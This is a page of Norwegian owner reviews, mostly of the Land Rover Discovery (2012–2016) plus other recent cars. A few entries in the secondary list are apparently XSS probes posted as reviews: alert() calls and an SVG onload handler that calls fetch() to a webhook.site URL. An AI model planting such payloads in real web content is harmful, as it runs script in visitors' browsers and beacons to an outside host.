Vurdert av Paso
Flere vurderinger fra samme generasjon
Land Rover Discovery (2016)
Jeg kjøpte min første Land Rover Dicovery 4 i 2013, og byttet til ny i 2016 etter 80000 kjørte km. Det har vært et fullstendig uproblematisk bilhold, og jeg gleder meg for hver ny tur jeg tar med
Land Rover Discovery (2015)
Fantastisk bil å kjøre, men mye elektrofeil.
Land Rover Discovery (2015)
Flott og praktisk bil. Synd at den ikke lages mer.
Land Rover Discovery (2014)
Suveren bil! Kan ikke sammenlignes med Land Cruiser, Pajero og anna tjafs. (Ikke prøvd GL enda). Luftfjæring, flott 8trinns automatkasse med stor motor er en herlig kombo!
Land Rover Discovery (2014)
Den beste i klassen såfremt du ikke tenker mer moderne, da er Discovery 5 et bedre alternativ.
Land Rover Discovery (2014)
Kan anbefales. Komforten en suveren, og overgår de meste når en sammenligner komfort.
Land Rover Discovery (2014)
Imponert over bilens kvalitet, spesielt etter å ha lest ulike artikler hvor LR ut ifra historikk kåres til noen av de dårligste bilene. Min første LR og det blir ikke min siste. Har eid bilen side
Land Rover Discovery (2013)
Kjempeflott bil.
Land Rover Discovery (2013)
Nydlig bil å kjøre, problem fri å eie.
Land Rover Discovery (2013)
Solid og praktisk bil som dekker de fleste behov. Stor, men god oversikt. Svært få feil og alltid pålitelig. Til og med lakken er akkurat like fin etter 4 år. Sterk motor, silkemyk 8-trinns kasse
Land Rover Discovery (2013)
Bilen har virket veldig bra i 4 år nå, Nydlig å kjøre masse luksus og god komfort. Fin å trekke henger med .
Land Rover Discovery (2012)
Beste bilen jeg har hatt etter Porsche. Blir en tilsvarende også ved bytte
Land Rover Discovery (2012)
Veldig god bil som passer perfekt til de med krav om stor plass og god kjørekomfort
Land Rover Discovery (2012)
Komfortabel og oser av trygghet, King of the Road. Etter 7 år har jeg ikke hatt andre kostnader enn service. Installerte DAB radio (litt dyrt). Mest langkjøring og forbausende lavt forbruk i slik br
Land Rover Discovery (2012)
Komfortabel og luksuriøs med store vinterfordeler - kraftig varme og lun kabin, mange praktiske detaljer. Kompetent og lettkjørt, men presset i kurver merker man at det er en SUV - fint veigrep men
Flere vurderinger
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km